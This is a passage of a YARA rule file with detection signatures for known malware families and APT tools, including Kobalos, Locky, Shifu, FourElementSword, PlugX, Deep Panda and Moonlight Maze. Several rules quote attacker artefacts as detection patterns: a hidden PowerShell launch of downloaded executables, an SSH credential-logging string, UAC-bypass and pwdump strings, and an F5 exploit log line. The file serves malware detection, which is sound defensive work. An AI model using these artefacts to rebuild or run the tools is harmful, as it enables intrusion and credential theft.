		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
		date = "2022-10-25"
		score = 80
		hash1 = "6b9e48e3f4873cfb95639d9944fe60e3b056daaa2ea914add14c982e3e11128b"
		hash2 = "b868b674476418bbdffbe0f3d617d1cce4c2b9dae0eaf3414e538376523e8405"
		hash3 = "e7fd14ca45818044690ca67f201cc8cfb916ccc941a105927fc4c932c72b425d"
		id = "f5ad0c0f-81ca-5157-aefb-ead049ada30d"

	strings:
		$s1 = "Logger32.dll" ascii fullword
		$s4 = " executing %u command on drive %martCommand : CWin32ApiErrorExce" wide
		$s5 = "Unsupported drive!!!" ascii fullword
		$s7 = "D:\\Build_SVN\\PC_MAGICIAN_4." ascii fullword
		$op1 = { 40 cc 8b 8b 06 cc 55 00 70 8b 10 10 33 51 04 46 04 64 }
		$op2 = { c3 10 e8 50 04 00 cc ff 8d 00 69 8d 75 ff 68 ec 6a 4d }
		$op3 = { e8 64 a1 6e 00 64 a1 c2 04 08 75 40 73 1d 8b ff cc 10 89 cc 8b c3 cc af }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( pe.imphash ( ) == "073235ae6dfbb1bf5db68a039a7b7726" or all of them )
}

rule APT_MAL_LNX_Kobalos
{
	meta:
		description = "Kobalos malware"
		author = "Marc-Etienne M.Leveille"
		date = "2020-11-02"
		reference = "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/"
		source = "https://github.com/eset/malware-ioc/"
		license = "BSD 2-Clause"
		version = "1"
		id = "dfa47e30-c093-57f6-af01-72a2534cc6f4"

	strings:
		$encrypted_strings_sizes = {
            05 00 00 00 09 00 00 00  04 00 00 00 06 00 00 00
            08 00 00 00 08 00 00 00  02 00 00 00 02 00 00 00
            01 00 00 00 01 00 00 00  05 00 00 00 07 00 00 00
            05 00 00 00 05 00 00 00  05 00 00 00 0A 00 00 00
        }
		$password_md5_digest = { 3ADD48192654BD558A4A4CED9C255C4C }
		$rsa_512_mod_header = { 10 11 02 00 09 02 00 }
		$strings_rc4_key = { AE0E05090F3AC2B50B1BC6E91D2FE3CE }

	condition:
		uint16( 0 ) == 0x457f and any of them
}

rule APT_MAL_LNX_Kobalos_SSH_Credential_Stealer
{
	meta:
		description = "Kobalos SSH credential stealer seen in OpenSSH client"
		author = "Marc-Etienne M.Leveille"
		date = "2020-11-02"
		reference = "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/"
		source = "https://github.com/eset/malware-ioc/"
		license = "BSD 2-Clause"
		version = "1"
		id = "0f923f92-c5d8-500d-9a2e-634ca7945c5c"

	strings:
		$ = "user: %.128s host: %.128s port %05d user: %.128s password: %.128s"

	condition:
		uint16( 0 ) == 0x457f and any of them
}

rule b374k_back_connect
{
	meta:
		description = "Detects privilege escalation tool"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Analysis"
		date = "2016-08-18"
		score = 80
		hash1 = "c8e16f71f90bbaaef27ccaabb226b43762ca6f7e34d7d5585ae0eb2d36a4bae5"
		id = "8612bda2-2576-56c0-a4ba-afbef419ab05"

	strings:
		$s1 = "AddAtomACreatePro" fullword ascii
		$s2 = "shutdow" fullword ascii
		$s3 = "/config/i386" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 10KB and all of them )
}

rule Locky_Ransomware
{
	meta:
		description = "Detects Locky Ransomware (matches also on Win32/Kuluoz)"
		author = "Florian Roth (Nextron Systems) (with the help of binar.ly)"
		reference = "https://goo.gl/qScSrE"
		date = "2016-02-17"
		hash = "5e945c1d27c9ad77a2b63ae10af46aee7d29a6a43605a9bfbf35cebbcff184d8"
		id = "ce61e01e-a9ce-54f4-bd2d-8acf1d5fbc30"

	strings:
		$o1 = { 45 b8 99 f7 f9 0f af 45 b8 89 45 b8 }
		$o2 = { 2b 0a 0f af 4d f8 89 4d f8 c7 45 }

	condition:
		all of ( $o* )
}

rule Shifu_Banking_Trojan
{
	meta:
		description = "Detects Shifu Banking Trojan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securityintelligence.com/shifu-masterful-new-banking-trojan-is-attacking-14-japanese-banks/"
		date = "2015-09-01"
		hash1 = "4ff1ebea2096f318a2252ebe1726bcf3bbc295da9204b6c720b5bbf14de14bb2"
		hash2 = "4881c7d89c2b5e934d4741a653fbdaf87cc5e7571b68c723504069d519d8a737"
		id = "e86a98b1-a5c3-57b6-9449-dc36c04cebf3"

	strings:
		$x1 = "c:\\oil\\feet\\Seven\\Send\\Gather\\Dividerail.pdb" fullword ascii
		$s1 = "listen above" fullword wide
		$s2 = "familycould cost" fullword wide
		$s3 = "SetSystemTimeAdjustment" fullword ascii
		$s4 = "PeekNamedPipe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( $x1 or all of ( $s* ) )
}

rule SHIFU_Banking_Trojan
{
	meta:
		description = "Detects SHIFU Banking Trojan"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/52n8WE"
		date = "2015-10-31"
		score = 70
		hash1 = "0066d1c8053ff8b0c07418c7f8d20e5cd64007bb850944269f611febd0c1afe0"
		hash2 = "3956d32a870d81be34cafc867769b2a2f55a96360070f1cb3d9addc2918357d5"
		hash3 = "3fde1b2b50fcb36a695f1e6bc577cd930c2343066d98982cf982393e55bfce0d"
		hash4 = "457ad4a4d4e675fe09f63873ca3364434dc872dde7d9b64ce7db919eaff47485"
		hash5 = "51edba913e8b83d1388b1be975957e439015289d51d3d5774d501551f220df6f"
		hash6 = "6611a2b79a3acf0003b1197aa5bfe488a33db69b663c79c6c5b023e86818d38b"
		hash7 = "72e239924faebf8209f8e3d093f264f778a55efb56b619f26cea73b1c4feb7a4"
		hash8 = "7a29cb641b9ac33d1bb405d364bc6e9c7ce3e218a8ff295b75ca0922cf418290"
		hash9 = "92fe4f9a87c796e993820d1bda8040aced36e316de67c9c0c5fc71aadc41e0f8"
		hash10 = "93ecb6bd7c76e1b66f8c176418e73e274e2c705986d4ac9ede9d25db4091ab05"
		hash11 = "a0b7fac69a4eb32953c16597da753b15060f6eba452d150109ff8aabc2c56123"
		hash12 = "a8b6e798116ce0b268e2c9afac61536b8722e86b958bd2ee95c6ecdec86130c9"
		hash13 = "d6244c1177b679b3d67f6cec34fe0ae87fba21998d4f5024d8eeaf15ca242503"
		hash14 = "dcc9c38e695ffd121e793c91ca611a4025a116321443297f710a47ce06afb36d"
		id = "b0d57a2b-31cc-5af0-84c3-5d178e2d244d"

	strings:
		$x1 = "\\Gather\\Dividerail.pdb" ascii
		$s0 = "\\payload\\payload.x86.pdb" ascii
		$s1 = "USER_PRIV_GUEST" fullword wide
		$s2 = "USER_PRIV_ADMIN" fullword wide
		$s3 = "USER_PRIV_USER" fullword wide
		$s4 = "PPSWVPP" fullword ascii
		$s5 = "WinSCard.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( $x1 or 5 of ( $s* ) )
}

rule PUP_ComputraceAgent
{
	meta:
		description = "Absolute Computrace Agent Executable"
		author = "ASERT - Arbor Networks (slightly modified by Florian Roth)"
		date = "2018-05-01"
		reference = "https://asert.arbornetworks.com/lojack-becomes-a-double-agent/"
		id = "676f8f1e-a3b4-5d05-b13b-bd6cb0aabbbd"

	strings:
		$a = { D1 E0 F5 8B 4D 0C 83 D1 00 8B EC FF 33 83 C3 04 }
		$b1 = { 72 70 63 6E 65 74 70 2E 65 78 65 00 72 70 63 6E 65 74 70 00 }
		$b2 = { 54 61 67 49 64 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 40KB and ( $a or ( $b1 and $b2 ) )
}

rule FourElementSword_Config_File
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
		id = "488a2344-3d8d-5769-aca8-9e14f38f5eb0"

	strings:
		$s0 = "01,,hccutils.dll,2" fullword ascii
		$s1 = "RegisterDlls=OurDll" fullword ascii
		$s2 = "[OurDll]" fullword ascii
		$s3 = "[DefaultInstall]" fullword ascii
		$s4 = "Signature=\"$Windows NT$\"" fullword ascii

	condition:
		4 of them
}

rule FourElementSword_T9000
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
		id = "35ae844e-52e1-5e6f-984d-aa75ebd2f60f"

	strings:
		$x1 = "D:\\WORK\\T9000\\" ascii
		$x2 = "%s\\temp\\HHHH.dat" fullword wide
		$s1 = "Elevate.dll" fullword wide
		$s2 = "ResN32.dll" fullword wide
		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword wide
		$s4 = "igfxtray.exe" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 1 of ( $x* ) ) or ( all of them )
}

rule FourElementSword_32DLL
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
		id = "fc801364-9f40-50eb-90e1-99f8605014c7"

	strings:
		$x1 = "%temp%\\tmp092.tmp" fullword ascii
		$s1 = "\\System32\\ctfmon.exe" ascii
		$s2 = "%SystemRoot%\\System32\\" ascii
		$s3 = "32.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 660KB and $x1 ) or ( all of them )
}

rule FourElementSword_Keyainst_EXE
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
		id = "175fe2b0-3c76-5464-9a1a-218a09b25a5a"

	strings:
		$x1 = "C:\\ProgramData\\Keyainst.exe" fullword ascii
		$s1 = "ShellExecuteA" fullword ascii
		$s2 = "GetStartupInfoA" fullword ascii
		$s3 = "SHELL32.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 48KB and $x1 ) or ( all of them )
}

rule FourElementSword_ElevateDLL_2
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
		id = "06879d75-18a3-5d49-a963-fa4bee379387"

	strings:
		$s1 = "Elevate.dll" fullword ascii
		$s2 = "GetSomeF" fullword ascii
		$s3 = "GetNativeSystemInfo" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 25KB and $s1 ) or ( all of them )
}

rule FourElementSword_fslapi_dll_gui
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
		id = "1cc73eaf-7463-5070-97e5-6ea4c7735371"

	strings:
		$s1 = "fslapi.dll.gui" fullword wide
		$s2 = "ImmGetDefaultIMEWnd" fullword ascii
		$s3 = "RichOX" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 12KB and all of them )
}

rule FourElementSword_PowerShell_Start
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
		id = "62affc03-a408-5d8f-99da-58dead8646c5"

	strings:
		$s0 = "start /min powershell C:\\\\ProgramData\\\\wget.exe" ascii
		$s1 = "start /min powershell C:\\\\ProgramData\\\\iuso.exe" fullword ascii

	condition:
		1 of them
}

rule FourElementSword_ResN32DLL
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		hash = "bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
		id = "3e1f6d8d-53ea-542f-ba49-39b4c86f3124"

	strings:
		$s1 = "\\Release\\BypassUAC.pdb" ascii
		$s2 = "\\ResN32.dll" wide
		$s3 = "Eupdate" fullword wide

	condition:
		all of them
}

rule FourElementSword_ElevateDLL
{
	meta:
		description = "Detects FourElementSword Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
		date = "2016-04-18"
		super_rule = 1
		hash1 = "3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9"
		hash2 = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
		id = "06879d75-18a3-5d49-a963-fa4bee379387"

	strings:
		$x1 = "Elevate.dll" fullword wide
		$x2 = "ResN32.dll" fullword wide
		$s1 = "Kingsoft\\Antivirus" fullword wide
		$s2 = "KasperskyLab\\protected" fullword wide
		$s3 = "Sophos" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and 1 of ( $x* ) and all of ( $s* ) ) or ( all of them )
}

rule Korplug_FAST
{
	meta:
		description = "Rule to detect Korplug/PlugX FAST variant"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-08-20"
		hash = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
		id = "85c6c460-2902-5bfa-be58-a2b62e3b882e"

	strings:
		$x1 = "%s\\rundll32.exe \"%s\", ShadowPlay" fullword ascii
		$a1 = "ShadowPlay" fullword ascii
		$s1 = "%s\\rundll32.exe \"%s\"," fullword ascii
		$s2 = "nvdisps.dll" fullword ascii
		$s3 = "%snvdisps.dll" fullword ascii
		$s4 = "\\winhlp32.exe" ascii
		$s5 = "nvdisps_user.dat" fullword ascii
		$s6 = "%snvdisps_user.dat" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( $x1 or ( $a1 and 1 of ( $s* ) ) or 4 of ( $s* ) )
}

rule LOG_F5_BIGIP_Exploitation_Artefacts_CVE_2021_22986_Mar21_1 : LOG
{
	meta:
		description = "Detects forensic artefacts indicating successful exploitation of F5 BIG IP appliances as reported by NCCGroup"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/"
		date = "2021-03-20"
		score = 80
		id = "e109ebeb-e5c3-5999-95dc-0963ed8461a6"

	strings:
		$x1 = "\",\"method\":\"POST\",\"uri\":\"http://localhost:8100/mgmt/tm/util/bash\",\"status\":200," ascii
		$x2 = "[com.f5.rest.app.RestServerServlet] X-F5-Auth-Token doesn't have value, so skipping" ascii

	condition:
		1 of them
}

rule CloudDuke_Malware
{
	meta:
		description = "Detects CloudDuke Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
		date = "2015-07-22"
		score = 60
		hash1 = "97d8725e39d263ed21856477ed09738755134b5c0d0b9ae86ebb1cdd4cdc18b7"
		hash2 = "88a40d5b679bccf9641009514b3d18b09e68b609ffaf414574a6eca6536e8b8f"
		hash3 = "1d4ac97d43fab1d464017abb5d57a6b4601f99eaa93b01443427ef25ae5127f7"
		hash4 = "ed7abf93963395ce9c9cba83a864acb4ed5b6e57fd9a6153f0248b8ccc4fdb46"
		hash5 = "ee5eb9d57c3611e91a27bb1fc2d0aaa6bbfa6c69ab16e65e7123c7c49d46f145"
		hash6 = "a713982d04d2048a575912a5fc37c93091619becd5b21e96f049890435940004"
		hash7 = "56ac764b81eb216ebed5a5ad38e703805ba3e1ca7d63501ba60a1fb52c7ebb6e"
		id = "902ef68b-7ed1-5622-b796-4e3bb2388124"

	strings:
		$s1 = "ProcDataWrap" fullword ascii
		$s2 = "imagehlp.dll" fullword ascii
		$s3 = "dnlibsh" fullword ascii
		$s4 = "%ws_out%ws" fullword wide
		$s5 = "Akernel32.dll" fullword wide
		$op0 = { 0f b6 80 68 0e 41 00 0b c8 c1 e1 08 0f b6 c2 8b }
		$op1 = { 8b ce e8 f8 01 00 00 85 c0 74 41 83 7d f8 00 0f }
		$op2 = { e8 2f a2 ff ff 83 20 00 83 c8 ff 5f 5e 5d c3 55 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 720KB and 4 of ( $s* ) and 1 of ( $op* )
}

rule SFXRAR_Acrotray
{
	meta:
		description = "Most likely a malicious file acrotray in SFX RAR / CloudDuke APT 5442.1.exe, 5442.2.exe"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.f-secure.com/weblog/archives/00002822.html"
		date = "2015-07-22"
		super_rule = 1
		score = 70
		hash1 = "51e713c7247f978f5836133dd0b8f9fb229e6594763adda59951556e1df5ee57"
		hash2 = "5d695ff02202808805da942e484caa7c1dc68e6d9c3d77dc383cfa0617e61e48"
		hash3 = "56531cc133e7a760b238aadc5b7a622cd11c835a3e6b78079d825d417fb02198"
		id = "1566fb75-d3a8-5e22-b05b-3a2f37374f31"

	strings:
		$s1 = "winrarsfxmappingfile.tmp" fullword wide
		$s2 = "GETPASSWORD1" fullword wide
		$s3 = "acrotray.exe" fullword ascii
		$s4 = "CryptUnprotectMemory failed" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2449KB and all of them
}

rule DeepPanda_sl_txt_packed
{
	meta:
		description = "Hack Deep Panda - ScanLine sl-txt-packed"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015/02/08"
		hash = "ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34"
		id = "7a335810-2bf9-5a0b-bef4-1bade65a0f00"

	strings:
		$s0 = "Command line port scanner" fullword wide
		$s1 = "sl.exe" fullword wide
		$s2 = "CPports.txt" fullword ascii
		$s3 = ",GET / HTTP/.}" fullword ascii
		$s4 = "Foundstone Inc." fullword wide
		$s9 = " 2002 Foundstone Inc." fullword wide
		$s15 = ", Inc. 2002" fullword ascii
		$s20 = "ICMP Time" fullword ascii

	condition:
		all of them
}

rule DeepPanda_lot1
{
	meta:
		description = "Hack Deep Panda - lot1.tmp-pwdump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015/02/08"
		hash = "5d201a0fb0f4a96cefc5f73effb61acff9c818e1"
		id = "c72120a5-8637-580c-9856-e070dfb6df94"

	strings:
		$s0 = "Unable to open target process: %d, pid %d" fullword ascii
		$s1 = "Couldn't delete target executable from remote machine: %d" fullword ascii
		$s2 = "Target: Failed to load SAM functions." fullword ascii
		$s5 = "Error writing the test file %s, skipping this share" fullword ascii
		$s6 = "Failed to create service (%s/%s), error %d" fullword ascii
		$s8 = "Service start failed: %d (%s/%s)" fullword ascii
		$s12 = "PwDump.exe" fullword ascii
		$s13 = "GetAvailableWriteableShare returned an error of %ld" fullword ascii
		$s14 = ":\\\\.\\pipe\\%s" fullword ascii
		$s15 = "Couldn't copy %s to destination %s. (Error %d)" fullword ascii
		$s16 = "dump logon session" fullword ascii
		$s17 = "Timed out waiting to get our pipe back" fullword ascii
		$s19 = "SetNamedPipeHandleState failed, error %d" fullword ascii
		$s20 = "%s\\%s.exe" fullword ascii

	condition:
		10 of them
}

rule DeepPanda_htran_exe
{
	meta:
		description = "Hack Deep Panda - htran-exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015/02/08"
		hash = "38e21f0b87b3052b536408fdf59185f8b3d210b9"
		id = "2a551e82-aff1-5a77-bc5e-d06e49dca8bc"

	strings:
		$s0 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
		$s2 = "\\Release\\htran.pdb" ascii
		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
		$s8 = "======================== htran V%s =======================" fullword ascii
		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
		$s15 = "[+] OK! I Closed The Two Socket." fullword ascii
		$s20 = "-listen <ConnectPort> <TransmitPort>" fullword ascii

	condition:
		1 of them
}

rule DeepPanda_Trojan_Kakfum
{
	meta:
		description = "Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015/02/08"
		hash1 = "ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2"
		hash2 = "c6c3bb72896f8f0b9a5351614fd94e889864cf924b40a318c79560bbbcfa372f"
		id = "a204f9cb-65f8-53ea-a4eb-d89112942073"

	strings:
		$s0 = "%SystemRoot%\\System32\\svchost.exe -k sqlserver" fullword ascii
		$s1 = "%s\\sqlsrv32.dll" fullword ascii
		$s2 = "%s\\sqlsrv64.dll" fullword ascii
		$s3 = "%s\\%d.tmp" fullword ascii
		$s4 = "ServiceMaix" fullword ascii
		$s15 = "sqlserver" fullword ascii

	condition:
		all of them
}

rule apt_RU_MoonlightMaze_customlokitools
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-15"
		version = "1.1"
		last_modified = "2017-03-22"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect Moonlight Maze Loki samples by custom attacker-authored strings"
		hash = "14cce7e641d308c3a177a8abb5457019"
		hash = "a3164d2bbc45fb1eef5fde7eb8b245ea"
		hash = "dabee9a7ea0ddaf900ef1e3e166ffe8a"
		hash = "1980958afffb6a9d5a6c73fc1e2795c2"
		hash = "e59f92aadb6505f29a9f368ab803082e"
		id = "d5795d3b-bbb1-59e9-b86d-666b5c911f3b"

	strings:
		$a1 = "Write file Ok..." ascii wide
		$a2 = "ERROR: Can not open socket...." ascii wide
		$a3 = "Error in parametrs:" ascii wide
		$a4 = "Usage: @<get/put> <IP> <PORT> <file>" ascii wide
		$a5 = "ERROR: Not connect..." ascii wide
		$a6 = "Connect successful...." ascii wide
		$a7 = "clnt <%d> rqstd n ll kll" ascii wide
		$a8 = "clnt <%d> rqstd swap" ascii wide
		$a9 = "cld nt sgnl prcs grp" ascii wide
		$a10 = "cld nt sgnl prnt" ascii wide
		$a11 = "ork error" ascii fullword

	condition:
		filesize < 5000KB and 3 of ( $a* )
}

rule apt_RU_MoonlightMaze_customsniffer
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-15"
		version = "1.1"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect Moonlight Maze sniffer tools"
		hash = "7b86f40e861705d59f5206c482e1f2a5"
		hash = "927426b558888ad680829bd34b0ad0e7"
		original_filename = "ora;tdn"
		id = "8cc76e4d-a956-543c-81e0-827dfdb5da1c"

	strings:
		$a1 = "/var/tmp/gogo" fullword
		$a2 = "myfilename= |%s|" fullword
		$a3 = "mypid,mygid=" fullword
		$a4 = "mypid=|%d| mygid=|%d|" fullword
		$a5 = "/var/tmp/task" fullword
		$a6 = "mydevname= |%s|" fullword

	condition:
		2 of ( $a* )
}

rule loki2crypto
{
	meta:
		author = "Costin Raiu, Kaspersky Lab"
		date = "2017-03-21"
		version = "1.0"
		description = "Rule to detect hardcoded DH modulus used in 1996/1997 Loki2 sourcecode; #ifdef STRONG_CRYPTO /* 384-bit strong prime */"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		hash = "19fbd8cbfb12482e8020a887d6427315"
		hash = "ea06b213d5924de65407e8931b1e4326"
		hash = "14ecd5e6fc8e501037b54ca263896a11"
		hash = "e079ec947d3d4dacb21e993b760a65dc"
		hash = "edf900cebb70c6d1fcab0234062bfc28"
		id = "d67288f8-5205-5882-8dff-041d092eea4f"

	strings:
		$modulus = {DA E1 01 CD D8 C9 70 AF C2 E4 F2 7A 41 8B 43 39 52 9B 4B 4D E5 85 F8 49}

	condition:
		( any of them )
}

rule apt_RU_MoonlightMaze_de_tool
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-27"
		version = "1.0"
		last_modified = "2017-03-27"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect Moonlight Maze 'de' and 'deg' tunnel tool"
		hash = "4bc7ed168fb78f0dc688ee2be20c9703"
		hash = "8b56e8552a74133da4bc5939b5f74243"
		id = "09bfebca-7cec-5514-9f48-c0c2c57efcf9"

	strings:
		$a1 = "Vnuk: %d" ascii fullword
		$a2 = "Syn: %d" ascii fullword
		$a3 = {25 73 0A 25 73 0A 25 73 0A 25 73 0A}

	condition:
		(( 2 of ( $a* ) ) )
}

rule apt_RU_MoonlightMaze_cle_tool
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-27"
		version = "1.0"
		last_modified = "2017-03-27"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect Moonlight Maze 'cle' log cleaning tool"
		hash = "647d7b711f7b4434145ea30d0ef207b0"
		id = "99ae07b9-eb42-53dc-bd8b-75ab6a0b8cab"

	strings:
		$a1 = "./a filename template_file" ascii wide
		$a2 = "May be %s is empty?" ascii wide
		$a3 = "template string = |%s|" ascii wide
		$a4 = "No blocks !!!"
		$a5 = "No data in this block !!!!!!" ascii wide
		$a6 = "No good line"

	condition:
		(( 3 of ( $a* ) ) )
}

rule apt_RU_MoonlightMaze_xk_keylogger
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-27"
		version = "1.0"
		last_modified = "2017-03-27"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect Moonlight Maze 'xk' keylogger"
		id = "cf585cd0-afdd-5782-a6e5-bb9509cbf01d"

	strings:
		$a1 = "Log ended at => %s"
		$a2 = "Log started at => %s [pid %d]"
		$a3 = "/var/tmp/task" fullword
		$a4 = "/var/tmp/taskhost" fullword
		$a5 = "my hostname: %s"
		$a6 = "/var/tmp/tasklog"
		$a7 = "/var/tmp/.Xtmp01" fullword
		$a8 = "myfilename=-%s-"
		$a9 = "/var/tmp/taskpid"
		$a10 = "mypid=-%d-" fullword
		$a11 = "/var/tmp/taskgid" fullword
		$a12 = "mygid=-%d-" fullword

	condition:
		(( 3 of ( $a* ) ) )
}

rule apt_RU_MoonlightMaze_encrypted_keylog
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-27"
		version = "1.0"
		last_modified = "2017-03-27"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect Moonlight Maze encrypted keylogger logs"
		id = "f0d464f0-3955-5f41-a57f-8aa225e1171d"

	strings:
		$a1 = {47 01 22 2A 6D 3E 39 2C}

	condition:
		uint32( 0 ) == 0x2a220147 and ( $a1 at 0 )
}

rule apt_RU_MoonlightMaze_IRIX_exploit_GEN
{
	meta:
		author = "Kaspersky Lab"
		date = "2017-03-27"
		version = "1.0"
		last_modified = "2017-03-27"
		reference = "https://en.wikipedia.org/wiki/Moonlight_Maze"
		description = "Rule to detect Irix exploits from David Hedley used by Moonlight Maze hackers"
		reference2 = "https://www.exploit-db.com/exploits/19274/"
		hash = "008ea82f31f585622353bd47fa1d84be"
		hash = "a26bad2b79075f454c83203fa00ed50c"
		hash = "f67fc6e90f05ba13f207c7fdaa8c2cab"
		hash = "5937db3896cdd8b0beb3df44e509e136"
		hash = "f4ed5170dcea7e5ba62537d84392b280"
		id = "4f9ab7b0-4fb9-5311-ae23-01d0a9e2e104"

	strings:
		$a1 = "stack = 0x%x, targ_addr = 0x%x"
		$a2 = "execl failed"

	condition:
